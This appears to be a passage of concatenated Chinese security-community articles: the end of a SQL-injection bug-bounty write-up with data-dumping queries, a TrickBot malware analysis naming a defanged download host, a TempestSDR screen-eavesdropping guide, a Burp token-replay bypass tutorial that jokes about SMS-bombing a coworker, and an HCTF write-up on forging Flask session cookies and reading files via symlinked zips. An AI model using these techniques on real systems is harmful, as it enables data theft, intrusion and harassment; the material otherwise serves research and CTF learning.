than one row returned by a subquery used as an expression\n\n[SQL: CREATE
SCHEMA`，表明不允许多行。如果查询返回的是数据库列表，则由于对基数的某些违反，应用程序不会显示它们。
随后尝试使用`limit`和`offset`，这样我就可以检索特定的行并将输入限制为单行，可以正常工作！我能够检索名为`userconfig`的表：
使用查询语句`tc;SELECT\n(select\ntablename\nfrom\npg_catalog.pg_tables\nlimit\n1\noffset\n3)::integer`返回上面的输出。这是一个受限的情况，其中最大表长度是13，我想列出所有可用表：
>>> len("tc;SELECT\n(select\ntablename\nfrom\npg_catalog.pg_tables\nlimit\n1\noffset\n3)::integer")
80
>>> len("tc;SELECT\n(select\ntablename\nfrom\npg_catalog.pg_tables\nlimit\n1\noffset\n3)::int")
76
## 字符限制？行数限制？
我搜寻了可用于将多行转换为单行的技术和方法，就跟`group_concat`函数，却又不占用太多的字符长度。经过研究，我想出了`array_to_string`函数和`array_agg`函数。使用`array_agg`函数来转换所有返回的行，它会返回一个数组；使用`array_to_string`函数将返回的数组转换为字符串。综上，查询语句为`b2;select\narray_to_string(array_agg(datname),',')::int\nfrom\npg_database;`，我能够获得可用数据库名称的列表：
为了检索表列表，使用查询语句为`b2;select\narray_to_string(array_agg(tablename),',')::int\nfrom\npg_tables;`(长度为72)：
我们已经知道通过查询公开发现的列名和表名userdata，如果访问它以证明可以访问用户数据可还行？
## 获取其他用户数据
长度限制仍然是一个问题，但是我仍然能够检索所有可用的数据库，表和列。通过使用查询语句为`t3;SELECT\n(select\nemail\nfrom\nuserdata\nlimit\n1\noffset\n5)::int`，应用程序返回了偏移量为5的用户电子邮件地址，所以我使用了offset转储了具有数百个用户的整个表：
使用`t3;SELECT\n(select\npassword\nfrom\nuserdata\nlimit\n1\noffset\n5)::int`返回了SHA256的用户密码哈希值：
## 后记
就是这样了！已经能够访问所有信息，并且利用此漏洞，我能够删除，创建和修改任何表。对于所有在那里花时间学习新知识或怀疑自己的技能而又没有发现任何漏洞的人们，只要记住：世上无难事，只怕有心人！
>
> 在撰写报告时，我虽然只限于表和列的枚举，但是花了11个小时的渗透测试后，我才能达到这种地步。但是由于缺少授权，我无法获得系统访问权限，但是已经得到了我想要的东西。
最后得到了3000刀赏金。
The end | 社区文章 |
# 幽灵间谍：“TrickBot”新变种运用“无文件”技术发起攻击
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x1 前言
近日，360互联网安全中心捕捉到一例“TrickBot”银行木马新变种。相比较过去出现过的“TrickBot”银行木马，该新变种攻击过程中无任何文件落地，包括载荷下载、窃密、屏幕截图在内的所用功能都由一段PowerShell命令完成。
“TrickBot”银行木马最早出现于2016年底，主要通过挂马网页、钓鱼文档传播，进入受害者计算机后窃取计算机中邮箱密码、浏览器中存储的网站凭证等敏感数据，注入浏览器窃取网银帐户密码，盗取受害者资产。
## 0x2 新变种运用“无文件”攻击技术
过去的“TrickBot”银行木马一般通过带有恶意宏的Office文档启动PowerShell应用程序下载载荷到本地执行，这么做会导致载荷文件落地，一旦载荷文件被杀毒软件查杀攻击即宣告失败。图1展示了过去的“TrickBot”变种攻击流程
图1 过去的“TrickBot”变种攻击流程
捕获的“TrickBot”新变种简化了攻击流程，去掉了载荷释放这一步骤，所用功能都由一段PowerShell命令行执行。如此一来攻击流程中无文件落地，降低了被杀毒软件查杀的风险。图二展示了捕获到的“TrickBot”新变种攻击流程。
图2 “TrickBot”新变种攻击流程
## 0x3 新变种所有功能由一段PowerShell命令完成
当用户打开带有恶意宏的Office文档时，文档执行如图3所示的PowerShell命令。
图3 恶意宏执行的PowerShell命令
这段命令使PowerShell从hxxp://162.244.32.185/jquery.js读取另一段PowerShell命令执行。这段命令中包含两段Shellcode，第一段Shellcode是一个用C#语言编写的反射注入Dll，第二段Shellcode用于完成窃密等功能。
图4 执行的PowerShell命令
值得一提的是，在这段PowerShell命令中调用了[OqkZsI7.OqkZsI7]类的成员函数Ck2Ya和WETJLKk2r1而未见到[OqkZsI7.OqkZsI7]类的声明。这实际上是对PowerShell内嵌.NET
Framework灵活应用。在Powershell中可以使用.NET
Framework的类库，也可以使用C#语言的语法定义并执行函数。这段Powershell命令中并未直接写入.NET代码，而是通过反射注入的方式将C#语言编写的dll（第一段Shellcode）载入内存，Dll中对[OqkZsI7.OqkZsI7]类进行声明，并提供Ck2Ya、WETJLKk2r1等成员函数供PowerShell使用。
图5 “TrickBot”新变中对.NET Framework类的调用
这个反射注入Dll主要负责字符串的加解密工作，其中Ck2Ya函数输出的部分字符串将与hxxp://162.244.32.185拼接得到下阶段载荷地址或者窃取数据的上传地址，而iputY7e函数输出的字符串将作为Shellcode被TLybhcYk0k函数执行。可惜的是，下阶段载荷已经无法下载。
图6 PowerShell命令执行反射注入Dll函数过程
第二段Shellcode则是完成TrickBot的主要功能，包括获取系统信息、获取Outlook邮箱帐户和密码以及上传屏幕截图。这些功能都由PowerShell完成。
图7 获取系统信息
图8 窃取Outlook邮箱帐户及密码
图9 屏幕截图并上传
## 0x4 防护建议
1. 银行木马大部分通过垃圾邮件传播，一般以“Request order”、“Confirm Invoice”这类与“订单”、“付款单”相关的字样作为邮件标题，若收到这类标题的邮件时先确定发件人身份再决定是否打开邮件中的附件查看。
2. “TrickBot”银行木马一般通过宏执行恶意功能，而宏是默认禁用的。当接收到未知来源的Office文档时，千万不要启用宏。
3. 安装360安全卫士拦截此类型的攻击。 | 社区文章 |
# TEMPESTSDR：一个远程捕获计算机屏幕的SDR工具
##### 译文声明
本文是翻译文章，文章原作者 admin，文章来源：rtl-sdr.com
原文地址：<https://www.rtl-sdr.com/tempestsdr-a-sdr-tool-for-eavesdropping-on-computer-screens-via-unintentionally-radiated-rf/>
译文仅供参考，具体内容表达以及含义原文为准。
## 工具概述
TEMPEST是指一些间谍机构通过捕获无线电发射信号（包括声音、震动等）以窃听电子设备的技术。所有的电子产品都会在工作过程中发出射频信号，而通过捕获和处理这些信号就可以恢复一些数据。感谢RTL-SDR.com的flatflyfish发表的文章，其中详细说明了如何在Windows系统上使用TempestSDR工具。
TempestSDR是一个开源的间谍软件工具包，它允许我们使用任何支持ExtIO的SDR（例如RTL-SDR、Airspy、SDRplay、HackRF等）来接收源自计算机屏幕的射频信号，并将该信号还原后显示出来。通过这种方式，我们可以在没有任何物理连接的情况下看到屏幕上显示的内容。如果再使用高增益定向天线，那么甚至可以在几米之外的距离捕获到电脑屏幕的内容。
## 重编译步骤
尽管TempestSDR已经发布了数年之久，但其中的ExtIO接口却始终不能在Windows中正常工作。本文中，flatflyfish向我们说明了如何编译一个可以工作的新版本，其具体步骤如下：
1\. 首先，需要安装32位版本的Java运行环境（64位版本不支持ExtIO接口），并安装JDK。
2\. 安装Mingw32和MSYS，将它们的bin文件夹添加到Windows路径中。
3\. 在编译时，我们会遇到大量CC命令的未知错误，我们要在所有makefiles文件的顶部添加“CC=gcc”。由于没有使用到Mirics
SDR，我们从JavaGUI makefile中删除Mirics相关行，这样可以简化我们的程序。
4\. 原始的JDK文件夹存放在Program
Files目录下，但makefile并不支持带有空格的文件夹名，我们需要解决这一问题，将其移动到另一个名字中没有空格的文件夹中。
5\. 最后，在编译前，还需要指定ARCHNAME为x86，例如：“make all JAVA_HOME=F:/Java/jdk1.7.0_45
ARCHNAME=X86”。
在完成编译之后，就得到一个可以正常工作的JAR文件。现在的ExtIO，可以与HDSDR配合正常工作，我们可以通过rtlsdr，从测试显示器上获得一些图像。
经过测试，经过修改后的程序可以成功运行。为了帮助大家也能运行，我们将其上传到了
<https://github.com/rtlsdrblog/TempestSDR>
，并且在发布页面上提供了一个预编译的ZIP文件，这样大家无需编译就可以直接使用。
请注意，如果要使用这个预编译的JAR，仍然需要安装MingW32，同时还需要在Windows路径中添加MingW的/bin文件夹和msys的/1.0/bin文件夹。此外，还需要确保使用的是32位Java运行环境，64位版本将无法正常运行。如果是在Win10系统上运行，还需要手动将“Prefs”（偏好）文件夹添加到注册表中的Java路径下。
## 使用及调试
实际测试中，我们使用了老式的戴尔显示器，其中使用的DVI图像可以完整地接收到，尽管接收到的图像有一点点模糊。我们还另外尝试使用了Airspy和SDRplay设备，由于其具有更大的带宽，图像的质量有了明显提升。具体而言，屏幕上显示的相对较大的文字都可以显示并辨别。
如果使用Airspy，可以参考官方手册： <http://www.montefusco.com/airspy/>
如果使用SDRPlay，请参考官网上面的操作说明： <http://www.sdrplay.com/>
请注意，SDRplay的频率无法超过6MHz，RTL-SDR的频率无法超过2.8MHz，一旦超出上述频率，可能会造成丢失样本，从而导致图像无法正常显示。
要使用该软件，最好能首先了解目标显示器的分辨率和刷新率。但如果不清楚，也有自动检测的功能，我们可以选择软件中给出的峰值。此外，我们还需要知道显示器射频信号的频率。假如不知道，可以通过SDR#寻找干扰峰值，该值取决于屏幕上显示的图像变化的频率。举例来说，下图展示了其中一种干扰的模式。有一个诀窍，就是我们可以通过增加“Lpass”选项值来改善图像。并且需要留意自动FPS搜索不能与预期的帧速率相差太多，一旦相差过多，我们可以通过重新设置屏幕分辨率来重置这一数值。
关于显示器和图像制式，我们进行了多次尝试。在一台使用DVI制式的19寸戴尔老式显示器上得到了最佳效果的图像。在HDMI制式的飞利浦1080P显示器上得到的效果一般，但还是能成功接收到。但在一台AOC
1080P显示器上尝试，则无法收到任何可以辨别的图像。
关于位置，我们发现放置在同一房间的显示器，如果使用天线，可以得到最为清晰的图像。但是在相隔房间的两台戴尔显示器，图像仍可以接收到，但非常模糊，无法辨别出显示的内容。我们认为可以使用一个更高的增益定向天线，以改善这一问题。
我们将本次实验成果拍摄了视频，并上传到了Youtube上（[优酷链接](http://v.youku.com/v_show/id_XMzE4NTk3Njg0NA==.html)）：
如果你还想了解更多关于TEMPEST和TempestSDR的内容，我建议可以阅读这一篇Martin
Marinovs写的[文档](https://github.com/martinmarinov/TempestSDR/blob/master/documentation/acs-dissertation.pdf)： | 社区文章 |
## # 0x01 前言几句
平时使用burp进行简单的测试，遇到各种各样的问题，使用各种各样的方法，我们可以抓包、改包、重放、爆破，同时有很多BApp
Store有很多开源的扩展工具，今天我想要分享的是巧用一个名为“Extractor”的扩展插件和Burpsuite
Marco的结合用法，获取他在你解决某些场景下的anti-token的问题时候可以有所帮助。
## # 0x02 Extractor
#### **1\. 是什么?**
> **A Burp extension for generic extraction and reuse of data within HTTP
> requests and responses.**
>
> 用于在HTTP请求和响应中进行提取和重用数据的Burp扩展。
[Extractor](https://github.com/NetSPI/BurpExtractor)的功能用上面的一句话完全概括了，请求响应数据的提取和请求中数据的替换重放使用，那么这个工具的功能到底有多强大，多复杂呢？
> 可以看到，扩展界面大致分为三大部分：
>
> * 1：选择要插入替换数据的请求；
> * 2：选择要提取数据的响应；
> * 3：开启Debug；
> * 4：Go！！！
>
#### **2\. 怎么用?**
[Extractor](https://github.com/NetSPI/BurpExtractor)使用方法就是从一个请求的相应中提取数据，再另一个http请求中重用，诸如：CSRF
token、 timestamps(时间戳)、Auth Bearer
token等某些场景中，通过使用正则提取数据，并且在burp发送指定请求时将提取出的值替换掉请求中的正则匹配到的值。
## # 0x03 Marco
burpsuite自带的功能，宏这个功能应该都不陌生，之前已经有相关文章介绍Marco，如：“[Burpsuite中宏的使用](http://www.freebuf.com/articles/web/156735.html)”一文。文章中详细的介绍了一般宏的录制以及使用，本文的宏只是涉及到最基础的用法，重点是在实际使用中的思路。
## # 0x04 实例分析
#### **1\. 发现问题**
> 之前在测试某个接口的时候，发现有这样一个请求：
POST /WechatApp/public/zzbcd/P8009.do HTTP/1.1
Host：www.xxx.com
{"No":"123456"}
> 请求的返回中包含了如下信息：
{"STATUS":"1","No":"123456","tranDate","2018-8-9","ID":"411103199206121819","":"Name":"王刚","Phone":"13333333333","idType":"100000"}
> 这里传入的参数是一个规律递增的ID值，通过重放的方式，可以批量获取大量个人敏感的身份信息。问题不算太大，但绝不是可以忽略掉的问题。
#### **2\. 修复问题**
> 修复方案是建议是防止重放攻击，并且模糊处理返回的敏感信息。几日后，收到复测的安排，遂进行复测。
>
> 修复后的接口请求如下，其添加了一个Token_Id值，用来防止重放攻击？
POST /WechatApp/public/zzbcd/P8009.do HTTP/1.1
Host：www.xxx.com
{"No":"123456","Token_Id":"N5EVWFXBEDFL51GMUQECPZF4A5X096HD20180809123129"}
> 重放之后提示“系统异常请稍后重试”，通过修改cookie参数中的值、refrer参数等方法，均无法绕过token_Id的检验。
> 重新查看proxy中的请求记录，发现在每次请求之前，会先发送一个请求，该请求返回包中，只有一个参数，即tokenId。如下所示：
>
> 到此，脑子里首先想到的就是刚刚提到的“[Burpsuite中宏的使用](http://www.freebuf.com/articles/web/156735.html)”，于是仔细阅读了该篇文章的用法，并仔细的对本地复测的情况录制了宏，遗憾的是最终并未能够成功，可能原因有二三：
>
> * 自己配置/使用不正确(自认为概率很小，因为请教了不同的大佬，并进行了多次尝试)；
> * 文章中示例使用DVWA搭建，具体到请求和场景和真实情况有所出入；
> * 自己写了等效的脚本，一个函数请求并获取tokenId，另一个替换tokenId后发送请求获取信息，均已失败告终
> 看来，此处的问题真的是修复了吧……
>
#### **3\. 再次尝试绕过**
当看到Extractor插件的时候，我决定重新在生产上复测这个当时存疑的接口。
> 首先，分别将两个接口发送到Extractor扩展。
>
> 可以在Extractor看到两个请求，上工作区选择“使用tokenId”的请求，下工作区选择“获取tokenId”的响应包，点击Go，Extractor就准备好了。
> 上图的中标注了四个点，解释一下：
>
> * 1：开启Extractor；
> * 2：最新正则匹配到的tokenId显示区域
> * 3：设置host，可以直接使用burp scope中的host，也可以自定义host
> * 4：左右两边，分别设置需要正则匹配的内容(此处左侧正则匹配要带如请求的tokenId，右侧表示正则匹配获取到的tokenId)
>
>
> 当 “Turn Extractor
> on”被开启后，Extractor即开始起作用。此时去Repeater进行重放，看是否Extractor已经生效，每次请求替换最新获取匹配的tokenId值，但是你会发现，可能会失败了。问题出在这里。
> “Value to
> insert”值不为空才可以正常使用，需要先触发“获取tokenId”请求，之后Extractor才可以从相应中正则匹配到tokenId值，[Extractor项目](https://github.com/NetSPI/BurpExtractor)中的gif动画因为是简单的演示了功能，可能忽略掉他在使用时先触发了GET请求去get
> token。
>
> 所以此处我们如果想要进行爆破或者枚举的操作，必须每次请求前先请求一次“获取tokenId”，这样才可以达到枚举爆破的效果，So，是时候用Marco了。
这里的思路倒也简单，可以帮助理解burp在使用Marco(宏)的时候是怎样的一个逻辑，录制一个宏，什么条件都不需要附加，只需要保证在请求之前先把宏中设置的“获取tokenId”请求就可以。
> **注(这里的几点说明)：**
>
> * Add添加一个规则Rule；
> * 规则内容为“在请求之前，先运行一个Marco(宏)”;
> * “Session Handling Rules”和“Marco”配合来用，前者配置一个规则，调用后者的内容；
> * 通过在“Scope“中配置在哪个特殊请求或者全部请求需要触发宏，并且选择在哪些功能区触发之后，可以进行验证了。
>
#### **4\. 最终验证**
下面是我在Repeater中连续点击多次之后的返回，如下所示：
>
> 之后可以Intruder可以进行爆破咯~，结果就是问题真的修复了，虽然解决了tokenId的问题，但是修复再其他位置也做了校验，所以突破了tokenId的限制，但是无法重放攻击做信息搜集之类的敏感操作。OK，到一段落。
>
> **PS: 一时手边没有真实有效的例子，之后再做补充真实过程。**
## # 0x06 绕过流程
整个过程中的逻辑流程，帮助理解整个绕过token校验的流程：
## # 0x05 再来一发
#### **1\. 发现问题**
> 某微信公众号的注册接口
> 填写资料后提交请求，会发送短信通知返回结果。
POST /mina/saveCustomerInfo?applyId=2018080916437317 HTTP/1.1
Host: www.xxx.com
UserData(包含手机号码)
> 尝试直接重放请求，并且修改其他可能参数，均提示报错。
>
> 看起来是某个值做了校验或者cookie做了校验。重新查看proxy记录，整个过程包括两个请求，即分两个步骤完成，第一个请求获取名为"applyId"的值，第二个请求使用该参数进行提交用户填写的数据，成功提交。
POST /mina/apply HTTP/1.1
Host: www.xxx.com
UserData(包含手机号码)
POST /mina/saveCustomerInfo?applyId=2018080916437317 HTTP/1.1
Host: www.xxx.com
UserData(包含手机号码)
#### **2\. 绕过token限制**
绕过的思路和操作已经很清晰，遵循上一个实例的套路:
* 添加两个请求到Extractor，分别选择“请求”和“响应”;
* 录制一个“获取响应”的宏，并且定制好Rule;
* 可以进行短信炸弹了，嗯，没有错，是短信炸弹，送给那个上班时间扣手机的同事，Intruder Null Payload来一百条为敬。
> **这里需要注意勾选你要覆盖到的功能区域，否则Marco可能会发现没有生效。**
## # 0x07 参考
* <https://github.com/NetSPI/BurpExtractor>
* <http://www.freebuf.com/articles/web/156735.html>
* [给自己的博客埋个广告 http://am4zing.com.cn](http://am4zing.com.cn) | 社区文章 |
# 从HCTF两道Web题谈谈flask客户端session机制
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
>
> 这次hctf中有两道获取flask的secret_key生成客户端session的题目，为了能做出这两道题目来也是深入研究了一下flask客户端session的生成机制。所以这篇文章主要详细讨论一下flask客户端session的生成以及校验过程，以及在了解了flask客户端session机制后这两道题的解法。
个人第一次见到关于客户端session的文章是pith0n师傅的一片文章[客户端session导致的安全问题](https://www.leavesongs.com/PENETRATION/client-session-security.html)。然而做题的时候只看phith0n师傅的这篇文章感觉还是有点儿懵逼。。。（也可能是我太菜了233）所以就只能翻flask的源码跟了一遍flask对session的处理流程。
## flask对客户端session的处理机制
flask对session的处理位于flask/sessions.py中，默认情况下flask的session以cookie的形式保存于客户端，利用签名机制来防止数据被篡改。
在flask/sessions.py中，SecureCookieSessionInterface用于封装对CookieSession的一系列操作：
class SecureCookieSessionInterface(SessionInterface):
"""The default session interface that stores sessions in signed cookies
through the :mod:`itsdangerous` module.
"""
# salt,默认为cookie-session
salt = 'cookie-session'
#: 默认哈希函数为hashlib.sha1
digest_method = staticmethod(hashlib.sha1)
#:默认密钥推导方式 :hmac
key_derivation = 'hmac'
#:默认序列化方式：session_json_serializer
serializer = session_json_serializer
session_class = SecureCookieSession
这里默认的序列化方式的定义为：
session_json_serializer = TaggedJSONSerializer()
可以看到默认使用taggedJSONSerializer做序列化
taggedJSONSerializer定义：
class TaggedJSONSerializer(object):
"""A customized JSON serializer that supports a few extra types that
we take for granted when serializing (tuples, markup objects, datetime).
"""
def dumps(self, value):
def _tag(value):
if isinstance(value, tuple):
return {' t': [_tag(x) for x in value]}
elif isinstance(value, uuid.UUID):
return {' u': value.hex}
elif isinstance(value, bytes):
return {' b': b64encode(value).decode('ascii')}
elif callable(getattr(value, '__html__', None)):
return {' m': text_type(value.__html__())}
elif isinstance(value, list):
return [_tag(x) for x in value]
elif isinstance(value, datetime):
return {' d': http_date(value)}
elif isinstance(value, dict):
return dict((k, _tag(v)) for k, v in iteritems(value))
elif isinstance(value, str):
try:
return text_type(value)
except UnicodeError:
raise UnexpectedUnicodeError(u'A byte string with '
u'non-ASCII data was passed to the session system '
u'which can only store unicode strings. Consider '
u'base64 encoding your string (String was %r)' % value)
return value
return json.dumps(_tag(value), separators=(',', ':'))
def loads(self, value):
def object_hook(obj):
if len(obj) != 1:
return obj
the_key, the_value = next(iteritems(obj))
if the_key == ' t':
return tuple(the_value)
elif the_key == ' u':
return uuid.UUID(the_value)
elif the_key == ' b':
return b64decode(the_value)
elif the_key == ' m':
return Markup(the_value)
elif the_key == ' d':
return parse_date(the_value)
return obj
return json.loads(value, object_hook=object_hook)
可以看到本质还是一个添加了类型属性的json处理。
SecureCookieSessionInterface类的获取签名验证序列化器函数为get_signing_serializer
def get_signing_serializer(self, app):
if not app.secret_key:
return None
signer_kwargs = dict(
key_derivation=self.key_derivation,
digest_method=self.digest_method
)
return URLSafeTimedSerializer(app.secret_key, salt=self.salt,
serializer=self.serializer,
signer_kwargs=signer_kwargs)
可以看到最后使用的签名序列化器为URLSafeTimedSerializer，并且传入app.secret_key用于签名。
SecureCookieSessionInterface的open_session与save_session方法表示了对session的处理
def open_session(self, app, request):
s = self.get_signing_serializer(app)
if s is None:
return None
val = request.cookies.get(app.session_cookie_name)
if not val:
return self.session_class()
max_age = total_seconds(app.permanent_session_lifetime)
try:
data = s.loads(val, max_age=max_age)#max_age
return self.session_class(data)
except BadSignature:
return self.session_class()
def save_session(self, app, session, response):
domain = self.get_cookie_domain(app)
path = self.get_cookie_path(app)
if not session:
if session.modified:
response.delete_cookie(app.session_cookie_name,
domain=domain, path=path)
return
httponly = self.get_cookie_httponly(app)
secure = self.get_cookie_secure(app)
expires = self.get_expiration_time(app, session)
print self.get_signing_serializer(app)
val = self.get_signing_serializer(app).dumps(dict(session))
response.set_cookie(app.session_cookie_name, val,
expires=expires, httponly=httponly,
domain=domain, path=path, secure=secure)
可以看到从客户端获取session时获取对应的cookie值，并使用序列化器序列化，能够成功序列化即可获取sesison_class,否则返回一个空的session_class.
SecureCookieSession使用的默认序列化器URLSafeTimedSeriallizer位于itsdangerous模块中：
class URLSafeTimedSerializer(URLSafeSerializerMixin, TimedSerializer):
"""Works like :class:`TimedSerializer` but dumps and loads into a URL
safe string consisting of the upper and lowercase character of the
alphabet as well as ``'_'``, ``'-'`` and ``'.'``.
"""
default_serializer = compact_json
### 序列化
序列化的流程在TimedSerializer的父类Serializer中
def dumps(self, obj, salt=None):
"""Returns a signed string serialized with the internal serializer.
The return value can be either a byte or unicode string depending
on the format of the internal serializer.
"""
payload = want_bytes(self.dump_payload(obj))
rv = self.make_signer(salt).sign(payload)
if self.is_text_serializer:
rv = rv.decode('utf-8')
return rv
可以看到主要处理流程是将obj用dump_payload签名后利用make_signer(salt)生成的signer进行签名处理，并返回签名后的结果即为我们所需要的cookie值，而URLSafeTimedSeralizer的dump_playload方法继承自URLSafeSerializerMixin的dump_payload方法
def dump_payload(self, obj):
json = super(URLSafeSerializerMixin, self).dump_payload(obj)
is_compressed = False
compressed = zlib.compress(json)
if len(compressed) < (len(json) - 1):
json = compressed
is_compressed = True
base64d = base64_encode(json)
if is_compressed:
base64d = b'.' + base64d
return base64d
对obj的处理首先使用URLSafeTimedSeralizer的另一个父类TimedSeralizer继承自Seralizer的dump_payload方法处理
def dump_payload(self, obj):
"""Dumps the encoded object. The return value is always a
bytestring. If the internal serializer is text based the value
will automatically be encoded to utf-8.
"""
return want_bytes(self.serializer.dumps(obj))
其中self.serializer为之前SecureCookieSessionInterface的get_signing_serializer传入，即taggedJSONSerializer。
处理之后如果长度过长会进行一次zlib压缩，最后将生成的数据base64编码。
再回到之前Seralizer的dumps的处理流程中，self.make_signer(salt)的定义如下:
def make_signer(self, salt=None):
"""A method that creates a new instance of the signer to be used.
The default implementation uses the :class:`Signer` baseclass.
"""
if salt is None:
salt = self.salt
return self.signer(self.secret_key, salt=salt, **self.signer_kwargs)
self.salt、self.signer_kwargs、self.secret_key来自之前SecureCookieSessionInterface的get_signing_serializer传入，分别为app.secret_key、’cookie-session’、{‘key_derivation’:’hmac’,’digest_method’=staticmethod(hashlib.sha1)}，而self.signer为TimedSeralizer中指定
class TimedSerializer(Serializer):
"""Uses the :class:`TimestampSigner` instead of the default
:meth:`Signer`.
"""
default_signer = TimestampSigner
TimestampSigner签名过程为：
def sign(self, value):
"""Signs the given string and also attaches a time information."""
value = want_bytes(value)
timestamp = base64_encode(int_to_bytes(self.get_timestamp()))
sep = want_bytes(self.sep)
value = value + sep + timestamp
return value + sep + self.get_signature(value)
将传入的value拼接上时间戳之后再拼接签名内容，签名实现继承自Signer类的get_signature方法
def get_signature(self, value):
"""Returns the signature for the given value"""
value = want_bytes(value)
key = self.derive_key()
sig = self.algorithm.get_signature(key, value)
return base64_encode(sig)
因此，整个序列化的流程便是将obj处理为json格式后根据长度选择是否zlib压缩，之后再进行base64加密，拼接上当前时间戳之后再使用hmac签名并且拼接到该字符串上即为我们所需要的payload。
### 反序列化
反签名的流程主要为TimedSerializer类的loads函数
class TimedSerializer(Serializer):
"""Uses the :class:`TimestampSigner` instead of the default
:meth:`Signer`.
"""
default_signer = TimestampSigner
def loads(self, s, max_age=None, return_timestamp=False, salt=None):
"""Reverse of :meth:`dumps`, raises :exc:`BadSignature` if the
signature validation fails. If a `max_age` is provided it will
ensure the signature is not older than that time in seconds. In
case the signature is outdated, :exc:`SignatureExpired` is raised
which is a subclass of :exc:`BadSignature`. All arguments are
forwarded to the signer's :meth:`~TimestampSigner.unsign` method.
"""
base64d, timestamp = self.make_signer(salt)
.unsign(s, max_age, return_timestamp=True)
payload = self.load_payload(base64d)
if return_timestamp:
return payload, timestamp
return payload
def loads_unsafe(self, s, max_age=None, salt=None):
load_kwargs = {'max_age': max_age}
load_payload_kwargs = {}
return self._loads_unsafe_impl(s, salt, load_kwargs, load_payload_kwargs)
这里的loads部分使用TimestampSigner来对传入的数据进行解析，查看TimestampSinger中关于签名与反签名的源码：
def sign(self, value):
"""Signs the given string and also attaches a time information."""
value = want_bytes(value)
timestamp = base64_encode(int_to_bytes(self.get_timestamp()))
sep = want_bytes(self.sep)
value = value + sep + timestamp
return value + sep + self.get_signature(value)
def unsign(self, value, max_age=None, return_timestamp=False):
"""Works like the regular :meth:`~Signer.unsign` but can also
validate the time. See the base docstring of the class for
the general behavior. If `return_timestamp` is set to `True`
the timestamp of the signature will be returned as naive
:class:`datetime.datetime` object in UTC.
"""
try:
result = Signer.unsign(self, value)
sig_error = None
except BadSignature as e:
sig_error = e
result = e.payload or b''
sep = want_bytes(self.sep)
# If there is no timestamp in the result there is something
# seriously wrong. In case there was a signature error, we raise
# that one directly, otherwise we have a weird situation in which
# we shouldn't have come except someone uses a time-based serializer
# on non-timestamp data, so catch that.
if not sep in result:
if sig_error:
raise sig_error
raise BadTimeSignature('timestamp missing', payload=result)
value, timestamp = result.rsplit(sep, 1)
try:
timestamp = bytes_to_int(base64_decode(timestamp))
except Exception:
timestamp = None
# Signature is *not* okay. Raise a proper error now that we have
# split the value and the timestamp.
if sig_error is not None:
raise BadTimeSignature(text_type(sig_error), payload=value,
date_signed=timestamp)
# Signature was okay but the timestamp is actually not there or
# malformed. Should not happen, but well. We handle it nonetheless
#检查timestamp
if timestamp is None:
raise BadTimeSignature('Malformed timestamp', payload=value)
# Check timestamp is not older than max_age
if max_age is not None:
age = self.get_timestamp() - timestamp
if age > max_age:
raise SignatureExpired(
'Signature age %s > %s seconds' % (age, max_age),
payload=value,
date_signed=self.timestamp_to_datetime(timestamp))
if return_timestamp:
return value, self.timestamp_to_datetime(timestamp)
return value
unsigin过程直接调用父类Signer的unsign,再进行timestamp的检查，由于之前调用时传入了max_age所以会检查timestamp是否超时（当时没注意到这一点一直以为随便一个timestamp就可以结果gg了。。。）
### 序列化与反序列化的总结
最后经过flask处理的字符串的格式为：
json->zlib->base64后的源字符串 . 时间戳 . hmac签名信息
对于以上的调用我们可以总结为这样的代码(与服务器上的python版本无关，如果不确定服务器运行环境timestamp最好根据服务器反馈获取)：
from itsdangerous import *
from flask.sessions import *
key='*******'
salt="cookie-session"
serializer=session_json_serializer
digest_method=hashlib.sha1
key_derivation='hmac'
signer_kwargs = dict(
key_derivation=key_derivation,
digest_method=digest_method
)
def serialize(obj,timestamp,sep):
my_serializer=URLSafeTimedSerializer(key,salt=salt,serializer=serializer,signer_kwargs=signer_kwargs)
base64d=my_serializer.dump_payload(obj) #数据压缩
data=base64d+sep+timestamp #拼接timestamp
result=data+sep+my_serializer.make_signer(salt).get_signature(data) #拼接签名内容
return result
而从cookie获取session的过程便是验证签名->验证是否过期->解码，解码可以使用phith0n师傅的payload：
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))
需要特别注意的是python2与python3下产生的timestamp是不一样的！！！当时被这个问题坑了很久。。。
## hctf两道题目的wp
有了以上的分析要解决hctf的这两道题目就很容易了：
### admin
<http://admin.2018.hctf.io/index>
这道题目我们能做出来是因为在github上搜索hctf,按照recent
updated得到了题目的repo<https://github.com/woadsl1234/hctf_flask>
repo中暴露了私钥信息,而且题目只需要能用admin用户登入即可，因此可以直接使用上面的脚本跑出admin用户的session来。
### hide and seek
<http://hideandseek.2018.hctf.io/>
这道题目中登入后会要求我们上传一个zip文件,如果zip文件内的所有文件都是文本文件便可以成功返回文件的内容。
然而zip文件中也可以包含软链接,采用zip -ry out.zip
link即可将一个软链接打包到out.zip中。因此我们可以尝试上传包含/proc/self/environ软链接的压缩包来获取一些运行环境信息
ln -s /proc/self/environ link
zip -ry out.zip link
上传后可以获得当前一些环境信息：
可以发现uwsgi配置文件的路径/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini,尝试读取配置文件
[uwsgi]
module = hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main
callable=app
可以得知当前脚本为/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py
从而获取到源码
# -*- coding: utf-8 -*- from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])
def allowed_file(filename):
return '.' in filename and
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/', methods=['GET'])
def index():
